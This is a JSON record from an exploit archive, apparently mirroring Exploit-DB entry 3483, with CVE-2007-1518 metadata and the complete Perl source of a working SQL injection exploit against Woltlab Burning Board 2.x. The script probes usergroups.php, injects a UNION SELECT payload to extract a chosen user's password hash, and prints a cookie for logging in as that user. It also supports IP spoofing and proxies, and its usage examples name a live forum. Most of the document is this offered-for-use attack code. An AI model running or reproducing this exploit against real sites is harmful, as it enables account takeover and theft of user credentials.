{"exploit":{"id":"EDB-3483","name":"Woltlab Burning Board 2.x - 'usergroups.php' SQL Injection (SQLi)","description":"Woltlab Burning Board 2.x - 'usergroups.php' SQL Injection (SQLi)","cves":["CVE-2007-1518"],"author":"x666","published":"2007-03-15","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3483","path":"exploits/php/webapps/3483.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3483.pl","vulnerabilities":[{"id":"CVE-2007-1518","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in usergroups.php in Woltlab Burning Board (wBB) 2.x allows remote attackers to execute arbitrary SQL commands via the array index of the applicationids array.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1518","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1518"},"updatedAt":"2024-08-07T12:59:08.521Z","retrievedAt":"2026-11-27T04:10:21.645Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3483.png?v=2","url":"https://exploitbin.com/exploits/EDB-3483","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3483/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3483/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n\n#    Woltlab Burning Board 2.X usergroups.php SQL Injection exploit - burned2.pl\n\n#    written by x666 <blueshisha@safe-mail.net>\n\n#    jmp-esp.kicks-ass.net;blueshisha.chills.it\n\n#    SR-CREW\n\n#    should work on every wbb regardless of php settings.\n\n#\n\n#\n\nuse strict;\n\nuse warnings;\n\nuse LWP::UserAgent;\n\nuse HTTP::Response;\n\nuse HTTP::Status;\n\nuse Getopt::Std;\n\ngetopt('uiUpAcC');\n\nour ( $opt_u, $opt_i, $opt_s, $opt_U, $opt_p, $opt_A, $opt_c, $opt_C );\n\nmy $target = shift;\n\nsub do_request($$);\n\nif ( !$target ) { &HELP_MESSAGE; }\n\nif ( !$opt_U && !$opt_C) { &HELP_MESSAGE; }\n\nmy ( $host, $folder );\n\n\n\nif ( $target =~ /(?:http:\\/\\/)?([\\w\\.\\-\\_]*)(\\/.*)?/ ) {\n\n\n\n   $host = $1;\n\n   $folder = ( $2 ? $2 : '/' );\n\n   if ( $folder !~ /\\/$/ ) { $folder .= '/'; }\n\n   $target = \"http://$host$folder\" . 'usergroups.php';\n\n}\n\nelse { &HELP_MESSAGE; }\n\n\n\nmy $ip           = ( $opt_i ? $opt_i : '127.0.0.1' );\n\nmy ( $userid, $userpassword, $proxy, $proxyip );\n\n( $userid, $userpassword ) = split( ':', $opt_U ) if $opt_U;\n\n( $proxy,  $proxyip )      = split( ':', $opt_p ) if $opt_p;\n\nmy $uid = ( $opt_u ? $opt_u : 1 );\n\nmy $useragent =\n\n ( $opt_A ? $opt_A : 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' );\n\nmy $prefix = ( $opt_c ? $opt_c : 'wbb2_' );\n\nmy $isHash = 0;\n\n\n\nprint \"burned2.pl written by x666\\n\";\n\nprint \"report errors \\@ blueshisha\\@safe-mail.net.. thx\\n\";\n\nprint \"[x] Attacking $target...\\n\";\n\n\n\nif ( $userpassword and $userpassword =~ /([a-f0-9]{32})/ ) { $isHash = 1; }\n\n\n\n\n\n\n\nif ( !$opt_c ) {\n\n\n\nmy $headers = do_request( '', '' );\n\nif ( $headers =~ /Set-Cookie: (.*?)cookiehash/ ) {\n\n$prefix = $1;\n\n     }\n\n       else { print $headers}\n\n\n\n   }\n\n\n\n   print \"[x] Cookie prefix: $prefix\\n\";\n\n\n\n\n\nprint \"[x] Vulnerable check:\";\n\n\n\nmy $answer;\n\nmy $pre;\n\n$answer = do_request( '\\'', '' );\n\n\n\nif ( $answer =~ /FROM (.*?)_applications/ ) {\n\n   $pre = $1;\n\n   print \" Vulnerable\\n\";\n\n\n\n\n}\n\n\n\nelsif ($answer =~ /Ihnen wird der Zutritt zu dieser Seite/\n\n   or $answer =~ /Access denied/ )\n\n{\n\n   print \" No Idea\\n\";\n\n   print \"[x] usergroups.php only for users,\";\n\n   print \" wrong userdetails or wrong cookie-prefix!\\n\" if $opt_U;\n\n\n\n\n\n   exit;\n\n}\n\nelse {\n\n   print \" Not Vulnerable!\\n\";\n\n       print $answer;\n\n   exit;\n\n}\n\n\n\nprint \"[x] Unleashing black magic...\\n\";\n\n\n$answer = do_request(\n\n   '/**/UNIoN/**/ SeLeCT/**/ CoNcAT(password,CHAR(39)),'.$userid.' FROM '.$pre.'_users wHere userid%3D'.$uid.'/*%5D',''\n\n);\n\n\n\nif ( $answer =~ /${folder}usergroups.php/ and $answer =~ /([a-f0-9]{32})/ ) {\n\n   print \"[x] Looks good!\\n\";\n\n   print \"[x] Userid: $uid\\n\";\n\n   print \"[x] Hash: $1\\n\";\n\n   if ( !$opt_C ) {\n\n       print\n\n\"[x] Use this Cookie:\\n ${prefix}userid=$uid;${prefix}userpassword=$1\\n\";\n\n   }\n\n\n\n}\n\nelse {\n\n   print \"[x] Looks bad!\\n\";\n\n  print $answer;\n\n\n\n}\n\n\n\nsub HELP_MESSAGE() {\n\n   print \"burned2.pl written by x666\\n\"\n\n     . \"perl $0 [options] url\\n\"\n\n     . \"examples:\\n\"\n\n     . \"perl $0 -U 10:123456 woltlab.de/de/forum/\\n\"\n\n     . \"perl $0 -u 2 -i 127.0.0.2 -U 10:123456 woltlab.de/de/forum/\\n\"\n\n     . \"overwrite -c only when the auto-check \"\n\n     . \"gives you a false result\\n\"\n\n     . \"use -C when you need some special cookies\\n\"\n\n     . \"options :\\n-u userid of victim [1]\\n\"\n\n     . \"-i faked client-ip [127.0.0.1]\\n\"\n\n     . \"-U userid:password or userid:pwhash [none]\\n\"\n\n     . \"-p proxyip:proxyport [none]\\n\"\n\n     . \"-A user-agent [firefox 1.5.09]\\n\"\n\n     . \"-c cookie-prefix [auto-check]\\n\"\n\n     . \"-C raw cookie\\n\";\n\n\n   exit;\n\n}\n\n\n\nsub do_request($$) {\n\n   my $string   = shift;\n\n   my $otherurl = shift;\n\n   if ($otherurl) { $target = \"http://$host$folder\" . $otherurl; }\n\n   else { $target = \"http://$host$folder\" . 'usergroups.php' }\n\n   $string = '/*' if ( !$string );\n\n   my $ua = LWP::UserAgent->new;\n\n   if ($proxy) { $ua->proxy( 'http', \"http://$proxy:$proxyip/\" ); }\n\n   my $request = new HTTP::Request( 'POST', $target );\n\n   $request->content( 'applicationids%5B0)' . $string . '%5D=1'\n\n         . '&action=groupleaders_deleteapplications');\n\n   $request->authorization_basic('projectb', 'neustart');\n\n   $request->content_type('application/x-www-form-urlencoded');\n\n   $request->header( 'User-Agent' => $useragent );\n\n\n\n   if ($opt_U) {\n\n       my $userhash;\n\n       if ( !$isHash ) { $userhash = md5($userpassword); }\n\n       else { $userhash = $userpassword; }\n\n       my $cookie = $prefix\n\n         . 'userid='\n\n         . $userid . ';'\n\n         . $prefix\n\n         . 'userpassword='\n\n         . $userhash;\n\n\n\n       $request->header( 'Cookie' => $cookie );\n\n   }\n\n   elsif ($opt_C) {\n\n       $request->header( 'Cookie' => $opt_C );\n\n       $userid=3265;\n   }\n\n   $request->header( 'Client-Ip' => $ip );\n\n   my $response = $ua->request($request);\n\n   my $body     = $response->content;\n\n   my $headers  = $response->headers_as_string;\n\n\n\n   $body = $response->error_as_HTML if ( $response->is_error );\n\n\n\n   return $headers if ( $string eq '/*' and !$response->is_error );\n\n   return $body;\n\n}\n\n\n\n# MD5 Code ripped from Libwhisker for bigger portability\n\n# thx rfp :)\n\n{\n\n   my ( @S, @T, @M );\n\n   my $code = '';\n\n\n\n   sub md5 {\n\n       return undef if ( !defined $_[0] );    # oops, forgot the data\n\n       my $DATA = _md5_pad( $_[0] );\n\n       &_md5_init() if ( !defined $M[0] );\n\n       return _md5_perl_generated( \\$DATA );\n\n   }\n\n\n\n   sub _md5_init {\n\n       return if ( defined $S[0] );\n\n       my $i;\n\n       for ( $i = 1 ; $i <= 64 ; $i++ ) {\n\n           $T[ $i - 1 ] = int( ( 2**32 ) * abs( sin($i) ) );\n\n       }\n\n       my @t = ( 7, 12, 17, 22, 5, 9, 14, 20, 4, 11, 16, 23, 6, 10, 15, 21 );\n\n       for ( $i = 0 ; $i < 64 ; $i++ ) {\n\n           $S[$i] = $t[ ( int( $i / 16 ) * 4 ) + ( $i % 4 ) ];\n\n       }\n\n       @M = (\n\n           0, 1, 2,  3,  4,  5,  6,  7,  8,  9,  10, 11, 12, 13, 14, 15,\n\n           1, 6, 11, 0,  5,  10, 15, 4,  9,  14, 3,  8,  13, 2,  7,  12,\n\n           5, 8, 11, 14, 1,  4,  7,  10, 13, 0,  3,  6,  9,  12, 15, 2,\n\n           0, 7, 14, 5,  12, 3,  10, 1,  8,  15, 6,  13, 4,  11, 2,  9\n\n       );\n\n       &_md5_generate();\n\n       my $TEST = _md5_pad('foobar');\n\n\n\n       if ( _md5_perl_generated( \\$TEST ) ne\n\n           '3858f62230ac3c915f300c664312c63f' )\n\n       {\n\n           die('Error: MD5 self-test not successful.');\n\n       }\n\n   }\n\n\n\n   sub _md5_pad {\n\n       my $l = length( my $msg = shift() . chr(128) );\n\n       $msg .= \"\\0\" x ( ( $l % 64 <= 56 ? 56 : 120 ) - $l % 64 );\n\n       $l = ( $l - 1 ) * 8;\n\n       $msg .= pack 'VV', $l & 0xffffffff, ( $l >> 16 >> 16 );\n\n       return $msg;\n\n   }\n\n\n\n   sub _md5_generate {\n\n       my $N = 'abcddabccdabbcda';\n\n       my ( $i, $M ) = ( 0, '' );\n\n       $M    = '&0xffffffff' if ( ( 1 << 16 ) << 16 ); # mask for 64bit systems\n\n       $code = <<EOT;\n\n       sub _md5_perl_generated {\n\n   BEGIN { \\$^H |= 1; }; # use integer\n\n       my (\\$A,\\$B,\\$C,\\$D)=(0x67452301,0xefcdab89,0x98badcfe,0x10325476);\n\n       my (\\$a,\\$b,\\$c,\\$d,\\$t,\\$i);\n\n       my \\$dr=shift;\n\n       my \\$l=length(\\$\\$dr);\n\n       for my \\$L (0 .. ((\\$l/64)-1) ) {\n\n               my \\@D = unpack('V16', substr(\\$\\$dr, \\$L*64,64));\n\n               (\\$a,\\$b,\\$c,\\$d)=(\\$A,\\$B,\\$C,\\$D);\n\nEOT\n\n       for ( $i = 0 ; $i < 16 ; $i++ ) {\n\n           my ( $a, $b, $c, $d ) =\n\n             split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );\n\n           $code .=\n\n             \"\\$t=((\\$$d^(\\$$b\\&(\\$$c^\\$$d)))+\\$$a+\\$D[$M[$i]]+$T[$i])$M;\\n\";\n\n           $code .=\n\n\"\\$$a=(((\\$t<<$S[$i])|((\\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\\$$b)$M;\\n\";\n\n       }\n\n       for ( ; $i < 32 ; $i++ ) {\n\n           my ( $a, $b, $c, $d ) =\n\n             split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );\n\n           $code .=\n\n             \"\\$t=((\\$$c^(\\$$d\\&(\\$$b^\\$$c)))+\\$$a+\\$D[$M[$i]]+$T[$i])$M;\\n\";\n\n           $code .=\n\n\"\\$$a=(((\\$t<<$S[$i])|((\\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\\$$b)$M;\\n\";\n\n       }\n\n       for ( ; $i < 48 ; $i++ ) {\n\n           my ( $a, $b, $c, $d ) =\n\n             split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );\n\n           $code .= \"\\$t=((\\$$b^\\$$c^\\$$d)+\\$$a+\\$D[$M[$i]]+$T[$i])$M;\\n\";\n\n           $code .=\n\n\"\\$$a=(((\\$t<<$S[$i])|((\\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\\$$b)$M;\\n\";\n\n       }\n\n       for ( ; $i < 64 ; $i++ ) {\n\n           my ( $a, $b, $c, $d ) =\n\n             split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );\n\n           $code .= \"\\$t=((\\$$c^(\\$$b|(~\\$$d)))+\\$$a+\\$D[$M[$i]]+$T[$i])$M;\\n\";\n\n           $code .=\n\n\"\\$$a=(((\\$t<<$S[$i])|((\\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\\$$b)$M;\\n\";\n\n       }\n\n       $code .= <<EOT;\n\n               \\$A=\\$A+\\$a\\&0xffffffff; \\$B=\\$B+\\$b\\&0xffffffff;\n\n               \\$C=\\$C+\\$c\\&0xffffffff; \\$D=\\$D+\\$d\\&0xffffffff;\n\n       } # for\n\n   return unpack('H*', pack('V4',\\$A,\\$B,\\$C,\\$D)); }\n\nEOT\n\n       eval \"$code\";\n\n   }\n\n}    # md5 package container\n\n# milw0rm.com [2007-03-15]","sha256":"4c77bc7d1a46dbfbc33eb56f2a2aa0ff983fad9dd02f21d2de682f89fe096541","bytes":8760,"fetchedAt":"2026-11-27T04:10:21.272Z","encoding":"utf-8 (display only; download retains original bytes)"}